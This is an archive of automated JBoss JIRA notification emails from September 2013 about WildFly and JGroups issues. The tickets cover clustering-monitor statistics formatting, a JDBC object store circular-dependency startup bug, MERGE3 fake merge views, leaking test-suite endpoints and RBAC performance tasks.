Message-ID: <JIRA.12493247.1369941462000.1833.1380028845375@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1430?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806910#comment-12806910 ] 

Richard Achmatowicz commented on WFLY-1430:
-------------------------------------------

Yes, all results are strings - is a JSON-like format the best way to present this information (which is effectively a vector of name value pairs)?
Bear in mind that when there are more nodes in the cluster, this will become a list of strings for each attribute.

                
> Create clustering subsystem
> ---------------------------
>
>                 Key: WFLY-1430
>                 URL: https://issues.jboss.org/browse/WFLY-1430
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Richard Achmatowicz
>            Assignee: Richard Achmatowicz
>
> Create a clustering subsystem which collects together clustering-related functionality as described in WFLY-1236.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 09:22:45 2013
From: jira-events at lists.jboss.org (Richard Achmatowicz (JIRA))
Date: Tue, 24 Sep 2013 09:22:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1430) Create clustering subsystem
In-Reply-To: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493247.1369941462000.1843.1380028965680@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1430?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806910#comment-12806910 ] 

Richard Achmatowicz edited comment on WFLY-1430 at 9/24/13 9:21 AM:
--------------------------------------------------------------------

Yes, all results are strings - is a JSON-like format the best way to present this information (which is effectively a vector of name value pairs)?

                
      was (Author: rachmato):
    Yes, all results are strings - is a JSON-like format the best way to present this information (which is effectively a vector of name value pairs)?
Bear in mind that when there are more nodes in the cluster, this will become a list of strings for each attribute.

                  
> Create clustering subsystem
> ---------------------------
>
>                 Key: WFLY-1430
>                 URL: https://issues.jboss.org/browse/WFLY-1430
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Richard Achmatowicz
>            Assignee: Richard Achmatowicz
>
> Create a clustering subsystem which collects together clustering-related functionality as described in WFLY-1236.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 09:24:45 2013
From: jira-events at lists.jboss.org (Richard Achmatowicz (JIRA))
Date: Tue, 24 Sep 2013 09:24:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1430) Create clustering subsystem
In-Reply-To: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493247.1369941462000.1851.1380029085915@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1430?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806911#comment-12806911 ] 

Richard Achmatowicz commented on WFLY-1430:
-------------------------------------------

With regard to Paul's IRC comment:
{noformat}
 rachmatowicz: is it your intention to do something like: subsystem=clustering-monitor/channel=*/deployment=/[entity|query|collection|timestamp]=* for JPA 2LC?
{noformat}
the answer is yes. Those are relatively straightforward changes now that all the mechanisms are in place. If my PR gets mergered :-)


                
> Create clustering subsystem
> ---------------------------
>
>                 Key: WFLY-1430
>                 URL: https://issues.jboss.org/browse/WFLY-1430
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Richard Achmatowicz
>            Assignee: Richard Achmatowicz
>
> Create a clustering subsystem which collects together clustering-related functionality as described in WFLY-1236.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 09:24:46 2013
From: jira-events at lists.jboss.org (Richard Achmatowicz (JIRA))
Date: Tue, 24 Sep 2013 09:24:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1430) Create clustering subsystem
In-Reply-To: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493247.1369941462000.1857.1380029086182@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1430?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806911#comment-12806911 ] 

Richard Achmatowicz edited comment on WFLY-1430 at 9/24/13 9:23 AM:
--------------------------------------------------------------------

With regard to Paul's IRC comment:
{noformat}
 rachmatowicz: is it your intention to do something like: subsystem=clustering-monitor/cluster=*/deployment=/[entity|query|collection|timestamp]=* for JPA 2LC?
{noformat}
the answer is yes. Those are relatively straightforward changes now that all the mechanisms are in place. If my PR gets mergered :-)


                
      was (Author: rachmato):
    With regard to Paul's IRC comment:
{noformat}
 rachmatowicz: is it your intention to do something like: subsystem=clustering-monitor/channel=*/deployment=/[entity|query|collection|timestamp]=* for JPA 2LC?
{noformat}
the answer is yes. Those are relatively straightforward changes now that all the mechanisms are in place. If my PR gets mergered :-)


                  
> Create clustering subsystem
> ---------------------------
>
>                 Key: WFLY-1430
>                 URL: https://issues.jboss.org/browse/WFLY-1430
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Richard Achmatowicz
>            Assignee: Richard Achmatowicz
>
> Create a clustering subsystem which collects together clustering-related functionality as described in WFLY-1236.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 09:37:46 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 24 Sep 2013 09:37:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1460) WildFly server fails to start
 with transactions configured to be run with JDBCObject store
In-Reply-To: <JIRA.12493706.1370509487000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493706.1370509487000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493706.1370509487000.1894.1380029866043@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1460?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806920#comment-12806920 ] 

RH Bugzilla Integration commented on WFLY-1460:
-----------------------------------------------

Ivo Studensky <istudens at redhat.com> changed the Status of [bug 971358|https://bugzilla.redhat.com/show_bug.cgi?id=971358] from NEW to ON_QA
                
> WildFly server fails to start with transactions configured to be run with JDBCObject store
> ------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1460
>                 URL: https://issues.jboss.org/browse/WFLY-1460
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ond?ej Chaloupka
>            Assignee: Stefano Maestri
>
> In case that you configure transactions subsystem for running with JDBCObject store the app server fails to start because of (it seems so) a circular dependency.
> You can expect the exception like:
> {code}
> ERROR [org.jboss.as.controller.management-operation] (ServerService Thread Pool -- 52) JBAS014612: Operation ("add") failed - address: ([("subsystem" => "transactions")]): org.jboss.msc.service.CircularDependencyException: Container jboss-as has a circular dependency: [service jboss.txn.ArjunaObjectStoreEnvironment, service jboss.txn.ArjunaRecoveryManager, service jboss.connector.transactionintegration, service jboss.cached-connection-manager, service jboss.data-source.java:jboss/datasources/JDBCObjectDS] 
> {code}
> My assumption came from the configuration similar to this:
> {code}
> <datasource jta="false" jndi-name="java:jboss/datasources/JDBCObjectDS" pool-name="JDBCObjectDS" enabled="true" use-ccm="false"> 
> <connection-url>jdbc:postgresql://postgresserver.com:5432/user1</connection-url>
>   <driver-class>org.postgresql.Driver</driver-class>
>   <driver>postgresql-9.2-1002.jdbc4.jar</driver>
>   <security>
>     <user-name>user1</user-name>
>     <password>user1</password>
>   </security>
> </datasource> 
> {code}
> and the transaction config looks like this
> {code}
> <jdbc-store datasource-jndi-name="java:jboss/datasources/JDBCObjectDS" />
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep 24 09:39:45 2013
From: jira-events at lists.jboss.org (Gytis Trikleris (JIRA))
Date: Tue, 24 Sep 2013 09:39:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2145) Automatically add XTS and
 TXBridge handlers to Web Services that use JTA annotations
In-Reply-To: <JIRA.12500584.1378979979000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500584.1378979979000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500584.1378979979000.1900.1380029985265@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2145?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Gytis Trikleris moved JBTM-1918 to WFLY-2145:
---------------------------------------------

          Project: WildFly  (was: JBoss Transaction Manager)
              Key: WFLY-2145  (was: JBTM-1918)
      Component/s: XTS
                       (was: XTS)
         Security:     (was: Public)
    Fix Version/s: 8.0.0.Beta1
                       (was: 5.0.0.M5)

    
> Automatically add XTS and TXBridge handlers to Web Services that use JTA annotations
> ------------------------------------------------------------------------------------
>
>                 Key: WFLY-2145
>                 URL: https://issues.jboss.org/browse/WFLY-2145
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: XTS
>            Reporter: Paul Robinson
>            Assignee: Gytis Trikleris
>             Fix For: 8.0.0.Beta1
>
>
> Currently the developer needs to specify the XTS and Bridge handlers on the Web Service that wishes inflow a WS-AT transaction. This is cumbersome and error prone.
> It is quite easy to infer if the user needs these handlers by checking to see if the Web Service uses @Transactional or @TransactionAtttibute and by looking for a WS-AT transaction context on the inbound message.
> The same can also be done for the Compensations API, by looking for @Compensatable annotations on the Web Service. In which case, only the XTS handler should be added as no bridging is required.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 10:06:45 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 24 Sep 2013 10:06:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1704) MERGE3: don't print the full
 views in ViewConsistencyChecker.dumpViews()
In-Reply-To: <JIRA.12501398.1380031564900@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501398.1380031564900@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501398.1380031564900.1946.1380031605982@jira02.app.mwc.hst.phx2.redhat.com>

Bela Ban created JGRP-1704:
------------------------------

             Summary: MERGE3: don't print the full views in ViewConsistencyChecker.dumpViews()
                 Key: JGRP-1704
                 URL: https://issues.jboss.org/browse/JGRP-1704
             Project: JGroups
          Issue Type: Enhancement
            Reporter: Bela Ban
            Assignee: Bela Ban
            Priority: Minor
             Fix For: 3.4


MERGE3$ViewConsistencyChecker.dumpViews() dumps the entire View; it doesn't use View.toString().
SOLUTION: use Util.MAX_LIST_PRINT_SIZE to limit the number of members printed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 10:30:45 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 24 Sep 2013 10:30:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1704) MERGE3: don't print the full
 views in ViewConsistencyChecker.dumpViews()
In-Reply-To: <JIRA.12501398.1380031564000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501398.1380031564000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501398.1380031564000.1981.1380033045619@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1704?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban resolved JGRP-1704.
----------------------------

    Resolution: Done

    
> MERGE3: don't print the full views in ViewConsistencyChecker.dumpViews()
> ------------------------------------------------------------------------
>
>                 Key: JGRP-1704
>                 URL: https://issues.jboss.org/browse/JGRP-1704
>             Project: JGroups
>          Issue Type: Enhancement
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>            Priority: Minor
>             Fix For: 3.4
>
>
> MERGE3$ViewConsistencyChecker.dumpViews() dumps the entire View; it doesn't use View.toString().
> SOLUTION: use Util.MAX_LIST_PRINT_SIZE to limit the number of members printed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 12:37:45 2013
From: jira-events at lists.jboss.org (Karim AMMOUS (JIRA))
Date: Tue, 24 Sep 2013 12:37:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635225@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635225@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635225.2175.1380040665196@jira02.app.mwc.hst.phx2.redhat.com>

Karim AMMOUS created JGRP-1705:
----------------------------------

             Summary: MERGE3 handles fake merge views
                 Key: JGRP-1705
                 URL: https://issues.jboss.org/browse/JGRP-1705
             Project: JGroups
          Issue Type: Bug
    Affects Versions: 3.4
            Reporter: Karim AMMOUS
            Assignee: Bela Ban


Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.

Scenario:

- Form a large cluster (1115 mbrs)
- Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
- Reboot one machine (172.29.190.5) hosting 7 JVMs
- Coord install a new view with 1108 mbrs.

When new members join the cluster we observe a merge view formed by only one subgroup.

Coordinator log file was attached to this JIRA.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 12:39:45 2013
From: jira-events at lists.jboss.org (Karim AMMOUS (JIRA))
Date: Tue, 24 Sep 2013 12:39:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.2178.1380040785230@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Karim AMMOUS updated JGRP-1705:
-------------------------------

    Attachment: JIRA-MERGE-1subGroup.log

    
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>         Attachments: JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 13:11:45 2013
From: jira-events at lists.jboss.org (Karim AMMOUS (JIRA))
Date: Tue, 24 Sep 2013 13:11:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.2290.1380042705915@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807006#comment-12807006 ] 

Karim AMMOUS commented on JGRP-1705:
------------------------------------

Even stopping (no reboot) a machine leads to fake merge view.
                
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>         Attachments: JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 13:32:45 2013
From: jira-events at lists.jboss.org (Richard Achmatowicz (JIRA))
Date: Tue, 24 Sep 2013 13:32:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1430) Create clustering subsystem
In-Reply-To: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493247.1369941462000.2322.1380043965399@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1430?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807011#comment-12807011 ] 

Richard Achmatowicz commented on WFLY-1430:
-------------------------------------------

Here are the statistics with JSON formatting:

Across one line:
{noformat}
"operation-stats" => [("lenovo/web" => "{\"get-hits\" : \"0\", \"get-misses\" : \"0\", \"puts\" : \"0\", \"remove-hits\" : \"0\", \"remove-misses\" : \"0\"}")],
{noformat}

Across multiple lines:
{noformat}
"operation-stats" => [("lenovo/web" => "{
    \"get-hits\" : \"0\",
    \"get-misses\" : \"0\",
    \"puts\" : \"0\",
    \"remove-hits\" : \"0\",
    \"remove-misses\" : \"0\"
}")],
{noformat}

Any preference when it comes to single or multiple lines? 


                
> Create clustering subsystem
> ---------------------------
>
>                 Key: WFLY-1430
>                 URL: https://issues.jboss.org/browse/WFLY-1430
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Richard Achmatowicz
>            Assignee: Richard Achmatowicz
>
> Create a clustering subsystem which collects together clustering-related functionality as described in WFLY-1236.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 13:42:45 2013
From: jira-events at lists.jboss.org (Karim AMMOUS (JIRA))
Date: Tue, 24 Sep 2013 13:42:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.2345.1380044565703@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Karim AMMOUS updated JGRP-1705:
-------------------------------

    Attachment: JIRA-MERGE-1subGroup-Shutdown.log


Coord log file corresponding to a shutdown test case
                
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 13:44:45 2013
From: jira-events at lists.jboss.org (Richard Achmatowicz (JIRA))
Date: Tue, 24 Sep 2013 13:44:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1430) Create clustering subsystem
In-Reply-To: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493247.1369941462000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493247.1369941462000.2352.1380044685518@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1430?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807011#comment-12807011 ] 

Richard Achmatowicz edited comment on WFLY-1430 at 9/24/13 1:42 PM:
--------------------------------------------------------------------

Here are the statistics with JSON formatting:

Across one line:
{noformat}
"operation-stats" => [("lenovo/web" => "{\"get-hits\" : \"0\", \"get-misses\" : \"0\", \"puts\" : \"0\", \"remove-hits\" : \"0\", \"remove-misses\" : \"0\"}")],
{noformat}

Across multiple lines:
{noformat}
"operation-stats" => [("lenovo/web" => "{
    \"get-hits\" : \"0\",
    \"get-misses\" : \"0\",
    \"puts\" : \"0\",
    \"remove-hits\" : \"0\",
    \"remove-misses\" : \"0\"
}")],
{noformat}

Any preference when it comes to single or multiple lines? 

Here is a full example:
{noformat}
[standalone at localhost:9990 /] /subsystem=clustering-monitor/cluster=web/deployment=distributable.war/web=WEB:read-resource(include-runtime=true)
{
    "outcome" => "success",
    "result" => {
        "cache-view" => [("lenovo/web" => "[lenovo/web]")],
        "distribution" => [("lenovo/web" => "{\"cache-entries\" : \"0\"}")],
        "operation-stats" => [("lenovo/web" => "{\"get-hits\" : \"0\", \"get-misses\" : \"0\", \"puts\" : \"0\", \"remove-hits\" : \"0\", \"remove-misses\" : \"0\"}")],
        "rpc-stats" => [("lenovo/web" => "{\"RPC count\" : \"0\", \"RPC failures\" : \"0\"}")],
        "txn-stats" => [("lenovo/web" => "{\"prepares\" : \"0\", \"commits\" : \"0\", \"rollbacks\" : \"0\"}")]
    }
}
{noformat}
                
      was (Author: rachmato):
    Here are the statistics with JSON formatting:

Across one line:
{noformat}
"operation-stats" => [("lenovo/web" => "{\"get-hits\" : \"0\", \"get-misses\" : \"0\", \"puts\" : \"0\", \"remove-hits\" : \"0\", \"remove-misses\" : \"0\"}")],
{noformat}

Across multiple lines:
{noformat}
"operation-stats" => [("lenovo/web" => "{
    \"get-hits\" : \"0\",
    \"get-misses\" : \"0\",
    \"puts\" : \"0\",
    \"remove-hits\" : \"0\",
    \"remove-misses\" : \"0\"
}")],
{noformat}

Any preference when it comes to single or multiple lines? 


                  
> Create clustering subsystem
> ---------------------------
>
>                 Key: WFLY-1430
>                 URL: https://issues.jboss.org/browse/WFLY-1430
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Clustering
>    Affects Versions: 8.0.0.Alpha2
>            Reporter: Richard Achmatowicz
>            Assignee: Richard Achmatowicz
>
> Create a clustering subsystem which collects together clustering-related functionality as described in WFLY-1236.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 14:07:45 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Tue, 24 Sep 2013 14:07:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2146) Domain testsuite classes are
 leaking remoting Endpoints
In-Reply-To: <JIRA.12501424.1380046046710@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501424.1380046046710@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501424.1380046046710.2377.1380046065158@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2146:
--------------------------------------

             Summary: Domain testsuite classes are leaking remoting Endpoints
                 Key: WFLY-2146
                 URL: https://issues.jboss.org/browse/WFLY-2146
             Project: WildFly
          Issue Type: Bug
          Components: Domain Management, Test Suite
    Affects Versions: 8.0.0.Alpha4
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.Beta1


DomainControllerClientConfig creates a remoting endpoint. Not all uses of this class are closing it, thus leaking endpoints.

This is a factor in some of the recent testsuite instability where runs are failing due to recent user process limits. At the max, the leak results in 68 extra threads.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 15:46:45 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Tue, 24 Sep 2013 15:46:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2147) Improve RBAC Performance
In-Reply-To: <JIRA.12501429.1380051921622@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501429.1380051921622@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501429.1380051921622.2412.1380052005664@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2147:
--------------------------------------

             Summary: Improve RBAC Performance
                 Key: WFLY-2147
                 URL: https://issues.jboss.org/browse/WFLY-2147
             Project: WildFly
          Issue Type: Enhancement
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


Parent task for work related to reducing the impact of RBAC (WFLY-490) on management operation performance.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 15:50:45 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Tue, 24 Sep 2013 15:50:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2148) Cache role mapping results
 for the span of the overall operation
In-Reply-To: <JIRA.12501430.1380052139209@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501430.1380052139209@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501430.1380052139209.2414.1380052245192@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2148:
--------------------------------------

             Summary: Cache role mapping results for the span of the overall operation
                 Key: WFLY-2148
                 URL: https://issues.jboss.org/browse/WFLY-2148
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
             Fix For: 8.0.0.CR1


Look into caching role mapping results for the duration of an overall operation. This would be an impl detail of the RoleMapper. With our standard mappers, the mapping results should not be changing in the middle of an operation, so I believe they should be cacheable.

Likely place to cache them is as an attachment in a context object that will be passed in to the Authorizer. It would have to be passed in to the RoleMapper as well.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 24 15:50:45 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Tue, 24 Sep 2013 15:50:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2149) Optimize the SuperUser case
In-Reply-To: <JIRA.12501431.1380052228032@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501431.1380052228032@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501431.1380052228032.2416.1380052245278@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2149:
--------------------------------------

             Summary: Optimize the SuperUser case
                 Key: WFLY-2149
                 URL: https://issues.jboss.org/browse/WFLY-2149
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


If a user is in the SuperUser role, detect this and optimize authorization. For example, there is no point in checking constraints, as none will fail.

--
